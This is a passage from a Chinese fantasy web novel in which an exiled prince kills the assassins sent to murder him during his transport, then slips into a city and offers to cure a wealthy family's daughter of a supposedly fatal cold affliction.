叶天,你的好戏,才刚刚开始。
这荒郊野岭,是杀人埋骨的好地方。
就看,今夜,是谁,埋了谁!
……
战局,并未如太子那三名眼线所愿,形成僵持。
而是一面倒的屠杀。
那些被蒙汗药影响的禁军士卒,脚步虚浮,眼前发黑,连刀都快握不稳,如何是这些专业杀手的对手?
“噗!”
一个黑衣人身形如电,手中匕首划出一道诡异的弧线,轻松地避开一个官兵无力的劈砍,反手一刀,便在那官兵的脖子上留下了一道深可见骨的血痕。
那官兵捂着喷血的喉咙,眼中满是难以置信,轰然倒地。
这样的场景,在营地的每一个角落上演。
黑衣杀手们如同虎入羊群,每一次出手,都必然带走一条鲜活的生命。
不过短短十几个呼吸的时间,除了那三个拼死抵抗的眼线,其余的禁军士卒,已尽数倒在了血泊之中。
“跟他们拼了!”
眼见同伴死伤殆尽,剩下的三名眼线彻底疯狂了,他们背靠着背,挥舞着佩刀,做着最后的困兽之斗。
然而,在四名黑衣人的围攻下,他们的抵抗显得那么苍白无力。
“铛!”
领头的眼线虎口被震裂,佩刀脱手飞出。
下一秒,三柄冰冷的兵器,同时刺穿了他的身体。
剩下的两人,也仅仅多支撑了片刻,便步了后尘。
至此,押送队伍,全灭。
只剩下,囚车中的叶玄。
空气中,弥漫着浓郁到令人作呕的血腥味。
黑衣首领捂着不断流血的右手腕,脸色阴沉得能滴出水来。
他一步一步,走向囚车。
其余四名杀手,也呈扇形散开,将小小的囚车围得水泄不通。
他们的眼神,冰冷而残忍,像是看着砧板上的鱼肉。
“小看你了。”
黑衣首领的声音沙哑而怨毒,他死死地盯着囚车里的叶玄。
“没想到,你这个废物皇子,还有这等心机和手段。”
“不过,到此为止了!”
他猛地一脚,踹在囚车的铁锁上!
“哐当!”
铁锁应声而断。
他一把拉开囚车那沉重的铁门,手中不知何时已经换上了一柄雪亮的长刀。
“我会亲手,将你的骨头,一寸一寸地敲碎!”
他怒吼着,携着无尽的杀意,一刀朝着叶玄的头颅,狠狠劈了过去!
刀锋破空,带着尖锐的呼啸!
在狭小的囚车空间内,这一刀,避无可避!
然而,面对这夺命的一刀,叶玄的脸上,没有丝毫的恐惧。
甚至,连一丝波澜都没有。
他只是缓缓抬起了头。
那双被镣铐锁住的手,交叉着挡在了身前。
“铛!!”
长刀,狠狠地劈在了他手臂的镣铐之上,爆出一团刺眼的火星!
巨大的力量,让整个囚车都为之剧烈一震!
黑衣首领预想中,叶玄手臂被连同镣铐一起斩断的血腥场面,并未出现。
叶玄,纹丝不动!
那沉重的镣铐,甚至没有在他手臂上留下一丝印痕!
反倒是黑衣首领自己,被那股恐怖的反震之力,震得虎口发麻,长刀险些脱手!
“怎么可能?!”
黑衣首领的眼中,第一次露出了骇然之色!
这是何等恐怖的肉身力量?!
一个被酒色掏空了身子,又挨了五十重板的废物,怎么可能硬抗自己全力一刀而毫发无伤?!
他不知道,此刻叶玄的体内,一股无形的力量正在缓缓流转。
人皇霸体!
根骨重塑,百病不侵!
“你的刀,太慢了。”
叶玄平静地开口,声音不大,却如同一记重锤,狠狠敲在黑衣首领的心上。
话音未落,叶玄动了!
他没有起身,依旧是靠坐在囚车的角落。
但他那被锁住的双脚,却如同出膛的炮弹,猛地蹬出!
脚上的铁链,被他绷得笔直,在狭小的空间里,带起一阵“哗啦啦”的刺耳声响,如同一条钢铁铸就的毒蟒,狠狠地抽向黑衣首领的下盘!
黑衣首领大惊失色!
囚车内空间狭窄,他的长刀根本施展不开,面对这刁钻狠辣的一击,他只能狼狈地收刀格挡。
“铛!”
又是一声巨响!
铁链狠狠抽在刀身之上,黑衣首领只觉得一股沛然莫御的巨力传来,整个人被抽得一个趔趄,差点摔倒在地。
不等他站稳。
叶玄的第二次攻击,已然降临!
他借助刚才蹬腿的反作用力,整个身体猛地向前一撞!
“砰!”
他的肩膀,狠狠地撞在了黑衣首领的胸口。
“咔嚓!”
一声清晰的骨裂声响起。
黑衣首领如遭重锤,胸骨瞬间塌陷下去,一口鲜血狂喷而出,整个人如同断了线的风筝,倒飞了出去!
“轰隆——!”
他的身体,重重地撞在了囚车的木板上。
那本就饱经风霜的囚车,再也承受不住这恐怖的冲击力,在一声巨响中,轰然炸裂!
木屑纷飞!
烟尘弥漫!
在四名杀手惊骇欲绝的目光中。
一道身影,缓缓从破碎的囚车残骸中,站了起来。
月光下,他衣衫褴褛,手脚上依旧戴着沉重的镣铐。
但他站得笔直,如一杆刺破苍穹的绝世长枪!
他甩了甩手腕,镣铐碰撞,发出清脆而悦耳的声响,仿佛不是束缚,而是他奏响的死亡序曲。
叶玄抬起眼,冰冷的目光,缓缓扫过剩下的四名黑衣杀手。
那目光,平静,淡漠,却带着一种视万物为刍狗的无上威严。
“现在,”
他的嘴角,勾起一抹冰冷的弧度。
“轮到你们了。”
第11章 这是什么?这是太极!
当叶玄那句冰冷淡漠的“轮到你们了”响起时,剩下的四名黑衣杀手,互相对视一眼。
“故弄玄虚!”
“一起上!剁了他!”
短暂的死寂后,其中一名杀手厉声嘶吼,试图用声音驱散内心的寒意。
他是对同伴说的,也是在给自己壮胆。
任务失败,回去也是死路一条!
拼死一搏,尚有一线生机!
“杀!”
另外三人瞬间反应过来,眼中凶光毕露。
四道身影,四个方向,如四道离弦之箭,携着必杀之势,同时扑向场中那道依旧戴着镣铐的身影!
刀光,剑影,在月色下交织成一张死亡之网,密不透风地笼罩向叶玄。
他们吸取了首领的教训,不再有任何轻视,一出手,便是最凌厉的杀招!
然而,面对这绝杀之局,叶玄的表情,依旧是那副古井无波的淡漠。
他甚至没有移动脚步。
因为他知道,在手脚被缚的情况下,任何大范围的闪躲都是愚蠢的。
他的双眸,宛如一台最高速运转的精密仪器,瞬间将四人的速度、角度、兵器的长度、甚至是他们脸上每一丝肌肉的牵动,都尽数纳入计算。
来了!
左前方那名杀手的长刀,最先抵达!
刀锋撕裂空气,带着一股腥风,直劈他的面门!
叶玄不闪不避,只是在刀锋及体的刹那,身体以一个极其微小的幅度向右侧一偏。
同时,他那被镣铐锁住的双手,如穿花蝴蝶般抬起,手腕一翻,以一个不可思议的角度,轻轻“搭”在了对方的刀背上。
就是那么轻轻一搭。
那名杀手只觉得,自己势在万钧的一刀,仿佛劈进了一团棉花之中,力道瞬间被卸去了十之七八。
紧接着,一股柔和却又无比诡异的引导之力,从刀背上传来。
他根本无法抗拒!
他眼睁睁地看着自己的长刀,不受控制地改变了方向,划过一道圆润的弧线。
“噗嗤!”
一声利刃入肉的闷响。
不是从叶玄身上传来。
而是从他的右侧!
那名杀手惊骇地扭头看去,只见自己志在必得的一刀,竟精准无比地捅进了从右侧攻来的同伴的胸膛!
“你……”
被捅的同伴满脸难以置信地看着他,张了张嘴,鲜血混着内脏的碎块从口中狂涌而出,生机迅速消散。
怎么会这样?!
出刀的杀手脑中一片空白!
他完全不明白,为什么会发生这种事!
这匪夷所思的一幕,让另外两名已经冲到近前的杀手,攻势也为之一顿。
他们的眼中,充满了惊疑与骇然。
这是什么妖法?!
然而,叶玄根本没有给他们思考的时间。
对于前世身为顶级精算师的他而言,战斗,就是一道计算题。
而他,永远会选择最优解。
就在那两人愣神的瞬间,叶玄动了。
他的身体依旧没有大的位移,只是腰部猛地一扭,整个上半身如同上紧了发条的弹簧,骤然旋转。
“哗啦啦——”
手腕上的铁链,随着他的旋转,被瞬间绷直,带起一阵刺耳的破风声,如同一条钢铁长鞭,狠狠地抽了出去!
目标,正是左后方那名杀手的脚踝!
那杀手刚从同伴误杀的震惊中回过神来,便感觉脚下一股巨力袭来!
“啊!”
他惨叫一声,下盘顿时失稳,整个人不受控制地向前扑倒。
而他扑倒的方向,正对着最后那名杀手挥来的利剑!
最后那名杀手瞳孔骤缩!
他想收剑,可一切都太快了!
他只能眼睁睁地看着自己同伴的后心,重重地撞向自己手中的剑锋!
“噗——”
长剑穿心而过。
又一个。
转瞬之间,四名配合默契的专业杀手,竟有两人,死在了自己人的兵器之下!
整个过程,行云流水,快得让人眼花缭乱!
叶玄,甚至没有主动攻击过一次!
他只是轻轻地“推”了一下,就让这精密的杀局,彻底崩溃,变成了自相残杀的滑稽闹剧!
“魔鬼……”
“你是魔鬼!!”
剩下的两名杀手彻底崩溃了!
这种闻所未闻、见所未见的诡异步法和战斗方式,已经完全超出了他们的认知范畴!
他们想逃。
可是,他们不敢。
他们很清楚,背对这样一个敌人,只会死得更快!
“跟他拼了!”
“杀了他!否则我们都得死!”
绝望,催生出了最后的疯狂。
两人对视一眼,从对方眼中看到了同样的决绝。
他们不再试图用技巧取胜,因为在对方面前,他们引以为傲的杀人技,就像是孩童的玩闹。
唯一的办法,就是用最纯粹、最野蛮的力量,将他彻底碾碎!
“杀!”
两人发出一声野兽般的咆哮,手中的兵器不再讲究任何招式,只是用尽全身力气,疯狂地朝着叶玄的身体,尤其是他手脚上的镣铐,狠狠劈砍而去!
他们想得很简单。
既然你的手脚能做出那种诡异的动作,那我们就先把你的手脚连同镣铐一起砍下来!
“铛!”
“铛!铛!铛!”
一时间,金铁交鸣之声,不绝于耳!
火星四溅!
叶玄这一次,没有再用太极的卸力法门。
他只是抬起被镣铐锁住的手臂,交叉护在身前,硬生生地承受着对方狂风暴雨般的攻击!
每一次劈砍,都带着足以开碑裂石的巨力。
可斩在叶玄的镣铐上,除了发出一阵阵刺耳的巨响和爆开一团团火星外,竟不能让他后退分毫!
人皇霸体!
根骨重塑,万法不侵!
这点冲击力,对他而言,不过是挠痒痒罢了。
反倒是那两名杀手,被巨大的反震之力,震得虎口崩裂,鲜血淋漓,手臂都开始发麻。
“怎么可能?!”
“他的骨头是铁打的吗?!”
两人越打越心惊,越打越绝望。
这个废物皇子,到底是个什么怪物?!
叶玄的嘴角,却悄然勾起一抹冰冷的弧度。
他能感觉到,在对方不计后果的疯狂劈砍下,他手腕上那副沉重的精铁镣铐,内部已经开始出现细密的裂纹。
再加把劲。
就快了。
“你们的力气,就只有这么点吗?”
叶玄淡漠的声音,响起在他们耳边。
“连给我挠痒痒都不够。”
“啊啊啊!我杀了你!”
这句话,成了压垮骆驼的最后一根稻草。
两名杀手彻底失去了理智,双目赤红,状若疯魔,将所有的力量都灌注到了手中的兵器上,朝着叶玄的双手,劈出了他们此生最强的一击!
“给我断!!!”
“咔嚓——”
这一次,响起的不再是沉闷的金铁交鸣声。
而是一声清脆的、令人牙酸的断裂声!
在两人狂喜的目光中,叶玄右手手腕上的那副镣铐,应声而断!
成了!
第12章 世上再无八皇子
然而,那两名杀手眼中的狂喜,连一息都未能停留。
它瞬间凝固,化为了极致的恐惧。
因为他们看见,叶玄那只刚刚挣脱束缚的右手,如一道掠过暗夜的惊雷,闪电般探出!
他一把抓住了那半截断裂的、还连着长长铁链的镣铐!
“多谢。”
叶玄看着他们,嘴角勾起一抹灿烂的弧度。
这笑容,映在两名杀手扭曲的瞳孔中,比九幽恶鬼的狞笑还要可怖万分!
下一秒。
叶玄动了。
他手臂肌肉猛然贲张,那条连着半截沉重镣铐的铁链,被他狠狠抡起!
“呼——!”
铁链在他的恐怖巨力加持下,化作了一条吞噬生命的黑色毒龙,带着撕裂空气的尖锐呼啸,径直砸向其中一名杀手的头颅!
在绝对的力量面前,任何技巧都是苍白的笑话!
那名杀手肝胆俱裂,将所有求生的本能都灌注于双臂,疯狂地举刀格挡!
“铛!!”
一声震耳欲聋的巨响!
他引以为傲的百炼精钢长刀,在铁链面前脆弱得如同朽木,瞬间被砸成一个夸张的“V”形!
沛然莫御的巨力透过变形的刀身,毫无阻碍地倾泻在他的头颅之上!
“砰!”
没有惨叫。
那颗头颅,宛如被重锤砸中的烂西瓜,当场爆开!
红的血,白的脑浆,滚烫的液体,劈头盖脸地浇了最后那名杀手一身。
温热粘稠的触感,和那浓郁到令人窒息的血腥气,让他彻底僵在了原地。
他眼球突出,死死盯着自己同伴那具缓缓软倒的无头尸体,大脑一片空白。
逃?
往哪逃?
面对这样的怪物,逃跑这个念头本身,就是一种奢望。
叶玄没有给他太多沉浸在绝望中的时间。
他一步一步,缓缓走向这最后一名幸存者。
“哗啦啦……”
那沉重的铁链在满是尸骸的地面上拖行,每一声摩擦,都像是死神敲响的丧钟,精准地砸在幸存者的心脏上。
“你……你……”
那名杀手嘴唇剧烈颤抖,喉咙里发出嗬嗬的怪响,却一个字也说不完整。
叶玄手中的铁链,已然再度挥出。
“砰。”
一声轻响。
世界,彻底归于死寂。
至此,太子派来的五名顶尖杀手,连同二十名所谓的禁军精锐,全灭!
血腥的修罗场中,唯有叶玄一人,静静矗立。
他低头看了看自己左手和双脚上依旧存在的镣铐,神色平静地捡起一把杀手的长刀。
对准锁芯,猛地一劈!
“哐当!”
“哐当!”
伴随着几声清脆的断裂声,束缚他多日的枷锁,尽数化为废铁。
一种前所未有的舒畅与轻松,传遍四肢百骸。
叶玄舒展了一下筋骨,全身骨骼发出一阵“噼里啪啦”的爆豆脆响。
接着,他做了一件无比冷静,却又令人毛骨悚然的事情。
他提着刀,面无表情地走到每一具尸体旁。
无论禁军,还是刺客。
都在对方的脖颈或心脏处,精准地补上了一刀。
确保万无一失。
这是他身为顶级精算师的本能——消除一切潜在的风险变量。
做完这一切,叶玄才开始了此行最实际的环节。
搜刮战利品。
他的动作没有丝毫生涩,反而带着一种冷酷的效率,系统地在每一具尸体上摸索着。
片刻之后。
叶玄站起身,脸上写满了毫不掩饰的失望。
“一群穷鬼。”
他忍不住低声骂了一句。
这帮所谓的顶尖杀手,身上除了几两碎银子和几瓶劣质伤药,竟连一张大额银票都没有。
那位高高在上的太子殿下,还真是越来越小家子气了。
刺杀自己这个心腹大患,就派了这么一群货色来?
可笑。
叶玄摇了摇头,将搜刮到的碎银和药瓶,用一块从刺客身上撕下的黑布包好,揣进怀里。
蚊子再小,也是肉。
他扒下那名刺客首领的外衣和一双还算完好的靴子换上,聊以御寒。
他抬起头,目光穿过这片血腥的炼狱,望向了遥远的南方。
那里,是京都。
那个他迟早要回去的地方。
……
与此同时。
距离此地数十里外,一辆不起眼的马车正停在官道旁。
苏轻雪掀开车帘,清冷的月光洒在她那张绝美的容颜上,却化不开她眉宇间的忧色。
“忠叔,还是没有八皇子的消息吗?”
车夫位置上,被称为忠叔的老者摇了摇头,神情凝重:“小姐,我们派出去的人回报,押送队伍的营地就在前方不远处,但……火光冲天,杀声震野,恐怕是出事了。”
苏轻雪的心,猛地一沉。
她知道,父亲让她远离京城是非,暗中北上,是想在关键时刻保下八皇子这条线。
可太子的手段,显然比他们预想的更狠,更快!
“过去看看!”苏轻雪的声音带着一丝不容置疑的果决。
当他们的马车小心翼翼地靠近那片营地时,车上所有人都被眼前的景象惊得倒吸一口凉气。
这里不是战场,是屠宰场。
尸体,到处都是尸体。
忠叔举着火把,脸色铁青地检查着现场。
“小姐,是专业的杀手,一击毙命,禁军毫无还手之力。”
“囚车……囚车被暴力破开了!”
苏轻雪提着裙摆,走到那堆囚车的残骸边,美眸中闪过一丝惊异。
她看到了那名刺客首领的尸体,死状凄惨,胸骨塌陷,显然是被人以绝对的力量活活震死。
现场的痕迹,表明这里发生过一场远超想象的激战。
八皇子……他反抗了?
可结果呢?
苏轻雪的目光扫过全场,没有发现叶玄的尸体,但她知道,这并不意味着生还。
面对如此多的顶尖杀手,一个手无寸铁、身戴镣铐的“病弱”皇子,能活下来的可能性,无限趋近于零。
或许,尸体已经被挫骨扬灰,或者被野兽拖走了。
“连自己的亲兄弟都下此毒手……”
苏轻雪闭上眼,长长的睫毛微微颤抖,心中涌起一股彻骨的寒意。
“叶天,当真无情至此。”
她为自己父亲的远见感到庆幸,也为叶玄的命运感到一丝惋惜。
这样一个能发现太子与贵妃私情,并敢于捅破的人,绝非传言中的废物。
只可惜,他终究还是倒在了黎明之前。
“小姐,我们快离开吧,此地不宜久留。”忠叔催促道。
苏轻雪最后看了一眼这片血腥之地,轻轻颔首。
“走吧。”
“从今往后,世上再无八皇子叶玄了。”
第13章 谁偷了我的衣服!
就在苏轻雪的车驾带着“八皇子已死”的错误讯息,重新融入夜色,奔赴向未知的远方时。
叶玄,早已站在了一座名为云安城的繁华城池之外。
城墙高耸,巍峨雄壮。
城门口,车水马龙,人声鼎沸,一片太平盛世的景象。
这与数十里外那片尸横遍野的修罗场,形成了两个截然不同的世界。
叶玄换上刺客首领的黑衣和靴子后,又刻意在泥地里滚了几圈,将自己弄得风尘仆仆,再用锅灰抹了把脸,让自己看起来更像一个常年奔波在外的普通人。
他那属于皇子的贵气,被这身狼狈彻底掩盖。
他静静观察了片刻,很快锁定了一支准备进城的商队。
他没有贸然上前,而是像一个经验老到的猎人,不远不近地缀在商队后方,利用其他人高大的身形作为掩护。
在城门守卫检查文书,注意力被商队管事吸引的瞬间。
叶玄如同鬼魅般,一步踏出,不带起一丝烟火气,便已然混入了商队卸货的杂役之中,随着人流,顺理成章地踏入了云安城。
整个过程,行云流水,没有引起任何人的注意。
对于一名顶级精算师而言,计算人心的盲区和注意力的空隙,是刻在骨子里的本能。
脱离了禁军的押送,他现在是名副其实的“逃犯”。
一旦八皇子的身份暴露,等待他的,将是天罗地网般的追捕。
所以,他需要一个新的身份,一个能让他在这座陌生的城市里,光明正大立足的身份。
而这一切的前提,是钱。
叶玄摸了摸怀里那个用黑布包裹的硬疙瘩,里面是那群穷鬼刺客身上搜刮来的全部家当——几两碎银,连一顿像样的酒菜都吃不起。
他必须尽快找到一个来钱的路子。
叶玄漫无目的地走在青石板铺就的宽阔街道上,大脑却在飞速运转,评估着每一种可能。
经商?没有本钱,周期太长。
卖武?在这个满世界都是强者的地方,这不是班门弄斧吗?
就在这时,一阵急促而响亮的铜锣声,伴随着嘶声力竭的呐喊,从长街的尽头传来,瞬间打破了街市的喧嚣。
“铛!铛!铛!”
“城南柳府!重金求医!”
“我家小姐突发恶疾,危在旦夕!城中哪位神医能出手救治,柳家愿奉上白银千两!良田百亩!”
几名家丁打扮的汉子,一边敲锣,一边扯着嗓子高喊,神情焦急万分,仿佛天塌下来一般。
街道上的人群顿时被吸引,议论纷纷。
“又是柳家?柳大小姐那病,不是好几年了吗?”
“可不是嘛,听说城里所有的大夫都去看过了,个个摇头,都说是绝症,没救了。”
“千两白银,百亩良田啊!这手笔,啧啧,可惜没这个本事拿。”
听着周围人的议论,叶玄的脚步,停了下来。
他漆黑的眸子里,闪过一道不易察觉的精光。
神级医术!
这四个字,在他脑海中一闪而过。
这简直是为他量身定做的机会!
既能解了眼下的燃眉之急,又能顺理成章地获得一个“名医”的身份作为掩护。
完美!
叶玄立刻有了决断。
他低头看了看自己这身破烂肮脏的黑衣,眉头微微一皱。
这副尊容,别说是名医,就算是去柳府门口要饭,都得被家丁打出来。
他需要一身行头。
叶玄目光一扫,很快锁定了一处看起来颇为气派的宅院。
朱红大门,高墙耸立。
他绕到宅院的僻静后巷,观察了片刻,确认四周无人,也无暗哨。
下一秒,他脚尖在墙根轻轻一点,整个人便如同一片没有重量的落叶,悄无声息地翻入了墙内。
院子里,几件晾晒的衣物正随风飘动。
叶玄的目光毒辣无比,一眼就挑中了一件质地上乘的月白色锦袍,尺寸也与自己相仿。
他没有丝毫犹豫,取下锦袍,再次翻身而出,整个过程不超过十个呼吸。
片刻之后,院内传来一声气急败坏的怒吼。
“哪个天杀的贼!连你家爷爷的袍子都偷!还有没有王法了!有没有公德心啊!”
巷子里的叶玄,充耳不闻,已经换上了那件月白锦袍。
破烂的黑衣被他随手丢弃。
锦袍上身,再配上他那张虽然略显稚嫩,但轮廓分明的俊朗面容,一身超凡脱俗的气质油然而生。
之前的狼狈逃犯,瞬间化为了一位风度翩翩的世家公子。
随后,叶玄便整理了一下衣冠,迈着从容不迫的步伐,径直朝着城南柳府的方向走去。
柳府门前,早已是人头攒动。
两名家丁焦急地守在门口,拦住那些想进去看热闹的闲人。
叶玄施施然上前,对着其中一名门童,淡淡开口。
“在下是一名游方郎中,听闻贵府小姐病重,特来一试。”
门童上下打量着叶玄,眼中满是怀疑。
太年轻了。
这少年看起来不过十六七岁的模样,嘴上怕是毛都没长齐,也敢自称郎中?
怕不是哪里来的骗子,想混进去骗吃骗喝。
但一想到自家小姐此刻正躺在床上,气息奄奄,连城里最有名的几位老神医都束手无策,门童心中的那点疑虑,又化作了死马当活马医的侥幸。
万一呢?
万一这少年真有什么不为人知的奇术呢?
“公子……请随我来。”
门童不敢怠慢,恭敬地将叶玄引入了府中。
穿过几重庭院,来到一座气派的厅堂。
此刻,大堂之中,已经聚集了二三十人。
这些人,个个年过半百,留着山羊胡,一副老成持重的模样,显然都是这云安城内有头有脸的大夫。
叶玄的到来,像一颗石子投入了平静的湖面,立刻引起了所有人的注意。
“这年轻人是谁?柳家怎么什么人都往里放?”一名老者抚着胡须,不满地皱起了眉头。
“呵呵,看他这年纪,怕是连药材都认不全吧?也敢来柳府趟这趟浑水?”另一人语气中满是讥讽。
“嘘,小声点,人家说不定是哪位神医的关门弟子,来长见识的呢。”
议论声中,一名看起来德高望重的老大夫叹了口气,对身边的人说道:“柳小姐这病,乃是娘胎里带出来的‘寒髓症’,每逢阴雨天便会发作,痛不欲生。一年比一年严重,如今已是病入膏肓,药石罔效,五脏六腑的生机都在被那寒气侵蚀殆尽,神仙难救啊。”
“是啊,王神医说的是。柳家这也是病急乱投医了,满世界敲锣打鼓,不过是求个心安罢了。”
“我等行医数十年,从未见过如此霸道的寒症,人力有时穷,看来,柳大小姐是天命该绝,我等也只能尽人事,听天命了。”
这些所谓名医的对话,一字不落地传入叶玄耳中。
他站在人群的角落,神色平静,心中却是一片了然。
寒髓症?
在普通大夫看来,或许是绝症。
但在他拥有的“神级医术”面前,不过是小道尔。
他要的,就是这种所有人都束手无策的绝望场面。
因为,只有在这样的绝望中登场,他这位“神医”,才能一鸣惊人,才能获得最大的价值。
叶玄的目光,穿过人群,落向了厅堂深处。
那里,隐约传来一阵阵压抑不住的、痛苦的呻吟,和一个中年男人焦灼的踱步声。
第14章 寒髓症?
厅堂深处,通往内院的珠帘被一只颤抖的手猛地掀开。
一名须发皆白的老大夫,失魂落魄地走了出来,脸上满是浓得化不开的挫败与无力。
他脚步虚浮,仿佛被抽走了全身的精气神。
“柳老爷……”
老大夫的声音沙哑干涩,对着一个焦急等候的中年男人,艰难地摇了摇头。
这中年男人身穿暗紫色锦袍,面容儒雅,但此刻双目赤红,鬓角已见了风霜,正是柳家之主,柳承业。
“王神医,连您也……”
柳承业高大的身躯猛地一晃,最后一丝希望的火苗,似乎也在这一刻被无情地掐灭。
王神医长叹一声,满脸苦涩。
“柳老爷,恕老夫无能为力。”
“小姐的寒髓症,已非人间药石可医。寒气深入骨髓,逆冲心脉,五脏六腑的生机已如风中残烛,随时都会熄灭。”
他顿了顿,眼神中带着一丝不忍,却还是说出了那句最残忍的话。
“恕我直言……还是……准备后事吧。”
轰!
这句话如同一道晴天霹雳,狠狠劈在柳承业的头顶。
他踉跄着后退两步,靠在冰冷的柱子上才勉强站稳,这位在云安城叱咤风云的人物,此刻眼中的光芒彻底黯淡了下去。
大堂内,那二三十名云安城名医尽皆垂首,一片死寂。
“王神医所言极是,柳老爷,节哀顺变吧。”
“我等已经尽力了,奈何天不假年,小姐这病,乃是天妒红颜,非战之罪。”
“如今能做的,便是用几味固本培元的温药吊着,让小姐……走得安详一些。”
这些话语,一句句传来,像一把把钝刀,反复切割着柳承业的心。
准备后事?
走得安详一些?
不!
他的女儿才十六岁!
柳承业猛地抬起头,布满血丝的双眼扫过在场的所有大夫,那一张张熟悉而又无奈的脸,让他心中涌起一股滔天的绝望。
难道偌大的云安城,就真的没有奇迹了吗?
他不信!
他就不信,他散尽家财,就换不回女儿一条命!
“赏金加倍!”
柳承业用尽全身力气嘶吼道:“白银两千两!良田两百亩!只要能救小女,我柳承业倾家荡产,在所不惜!”
他的目光疯狂地扫视着在场的每一个人,扫过那些低头叹息的老面孔,心中却越来越冷。
没用。
这些人,已经宣判了自己女儿的死刑。
就在这时,他的视线,越过人群,定格在了角落里一个格格不入的身影上。
那是一个年轻人。
一个太年轻的少年。
他穿着一身月白锦袍,身姿挺拔,气质卓然,却独自站在角落,平静地看着眼前这绝望的一幕,眼神里没有丝毫波澜。
这是一个生面孔。
一个在所有人都放弃的时候,唯一一个还站在这里的生面孔!
柳承业像是溺水之人抓住了最后一根浮木,眼中瞬间爆发出骇人的光芒。
他拨开人群,大步流星地走到叶玄面前,声音因激动而微微颤抖。
“这位公子,你也是前来为小女医治的大夫吗?”
此言一出,满堂皆惊。
所有人的目光,瞬间聚焦在了叶玄身上。
“柳老爷,您糊涂了!”
王神医第一个站出来,急声劝道:“此子年纪轻轻,毛都没长齐,怎会是郎中?您可千万不要病急乱投医啊!”
“是啊柳老爷,我们这么多人合力,尚且只能勉强维持住小姐的一线生机。若是让这不知天高地厚的小子胡乱施为,破坏了我们布下的药气平衡,小姐恐怕……恐怕撑不过今晚!”
另一名大夫也痛心疾首地说道,看向叶玄的眼神充满了鄙夷和不屑。
“哪里来的黄口小儿,也敢来柳府招摇撞骗?还不快滚出去!”
“就是,也不看看这是什么地方!”
质疑声,呵斥声,此起彼伏。
叶玄却恍若未闻,他只是平静地看着柳承业,淡淡点头。
“没错。”
“我,是来救你女儿的。”
一句话,简单,直接,却充满了不容置疑的自信。
柳承业死死盯着叶玄的眼睛。
那是一双怎样的眼睛?
深邃,沉静,古井无波,仿佛蕴藏着一片星空,让人看不透深浅。
没有半分年轻人的轻浮,更没有骗子的闪躲。
有的,只是一种源于骨子里的绝对自信。
救?还是不救?
柳承业的心在天人交战。
理智告诉他,应该相信王神医这些成名已久的老大夫。
但情感和绝望,却让他无法放弃眼前这唯一的一丝变数。
不救,女儿今晚必死无疑。
救,万一……万一有奇迹呢?
赌一把!
柳承业猛地一咬牙,心中已有了决断!
他豁出去了!
“都给我闭嘴!”
柳承业转身,对着那群大夫发出一声震耳欲聋的咆哮。
“你们一个个都说我女儿没救了,让我准备后事!”
“现在,有人说他能救,你们却又要拦着?”
“怎么,是想眼睁睁看着我女儿死在你们的‘无能为力’之下吗!”
这一声质问,让所有大夫都面色一白,哑口无言。
柳承业不再理会他们,转而对叶玄做了一个“请”的手势,语气已经带上了几分恭敬和恳求。
“先生,请!”
“只要您能救小女,我柳承业的命,都是您的!”
王神医等人见柳承业主意已定,知道再劝无用,只能齐齐发出一声长叹。
完了。
柳家大小姐,这次是真的要香消玉殒了。
王神医走到叶玄面前,脸色复杂地将一本厚厚的册子递了过去。
“年轻人,这是我们这些年对柳小姐病情的记录和推测。”
他的语气带着几分居高临下的告诫。
“寒髓症,乃天下至寒之症,任何一丝阳刚的药物,都会引起寒气反噬,瞬间毙命。我等用温养之法,才勉强吊住她一口气。”
“你好自为之,就算救不了,也莫要破坏了这最后的平衡,让她走得太过痛苦。”
这番话,名为提点,实为警告。
他们不信叶玄能成,只希望他别把事情搞得更糟。
叶玄接过那本厚厚的病案,连翻都未曾翻开,只是随手递给旁边的家丁。
他看着眼前这些自以为是的名医,嘴角勾起一抹微不可察的弧度。
“各位的好意,我心领了。”
“没有把握的事情,我从不做。”
“诸位,还请在此稍候,静听佳音。”
说完,他不再看任何人,转身跟着柳承业,径直走向了那道通往绝望与希望的珠帘。
穿过几重回廊,一股深入骨髓的寒意便扑面而来。
越是靠近柳小姐的闺房,这股寒意就越是刺骨。
走在前面的柳承业,这位修为不俗的武者,此刻也不住地打着寒颤,呼出的气都变成了白色的浓雾。
当房门被推开的刹那。
一股仿佛来自九幽之下的森然寒气,猛地席卷而出!
房间里的一切,都蒙上了一层薄薄的白霜。
桌上的茶杯,杯中的水早已凝结成冰,甚至连杯壁上都挂着冰棱。
空气冷得像是刀子,每一次呼吸,都让肺部感到一阵刺痛。
而在这如同冰窖一般的房间中央,那张雕花大床上,静静地躺着一个少女。
她看起来不过十五六岁的年纪,本该是花一般的年华。
但此刻,她的脸上没有一丝血色,苍白得如同一张透明的纸。
她的嘴唇呈现出一种诡异的青紫色,眉毛和发梢上,都凝结着细密的冰晶。
此刻的她双目紧闭,身体在厚厚的被褥下依旧不住地微微颤抖,每一次呼吸都微弱到了极致,若有若无。
那不是一个活人该有的样子。
更像是一具即将被彻底冰封的精美艺术品,散发着死亡的寂静。
叶玄的目光落在少女身上。
寒髓症?
在他拥有的“神级医术”知识库里,这不过是一种稍微棘手的寒毒罢了。
但在这些凡夫俗子眼中,却成了神仙难救的绝症。
也好。
这绝望的场面,越是令人束手无策。
他这位神医的登场,才会越是震撼人心,越是……价值连城。
第15章 九宫还阳针法
叶玄的脚步,踏入了这间宛如冰窟的闺房。
他的身后,是柳承业屏住呼吸的紧张面容。
房门在他们身后轻轻关上,隔绝了外界的一切声音,只剩下这死寂的冰冷。
叶玄没有理会柳承业,他的目光,径直落在了那张大床上。
床上的少女,柳家小姐,已经不能称之为人。
她更像是一件即将完成的冰雕艺术品,美丽,却毫无生机。
眉梢的冰晶,在昏暗的光线下,闪烁着死寂的光。
柳承业站在叶玄身后,紧张得手心全是冷汗,连大气都不敢喘一口。
他看到叶玄就这么静静地站着,一动不动,心中刚刚燃起的一丝火焰,又开始摇曳不定。
这位年轻的先生,难道……也束手无策了吗?
就在柳承业心神不宁之际,叶玄终于动了。
他缓步走到床边,没有像其他大夫那样急着去切脉,而是伸出两根手指,轻轻拨开了少女紧闭的眼皮。
那是一双失去了所有神采的瞳孔,黯淡,涣散。
紧接着,他俯下身,仔细观察着少女嘴唇的青紫颜色,以及皮肤下那些几乎停止流动的、细如蛛网的血丝。
“果然是寒髓之毒。”
叶玄直起身,语气平淡,仿佛在陈述一件微不足道的小事。
“不过,还没到必死之境。”
什么?!
柳承业浑身一震,几乎以为自己听错了!
外面那几十位名医,包括王神医在内,全都断言女儿已经药石无医,只能等死!
可这位先生,竟然说还没到必死之境?
“先生……您……您此话当真?”柳承业的声音颤抖得不成样子,充满了无尽的渴望和恐惧。
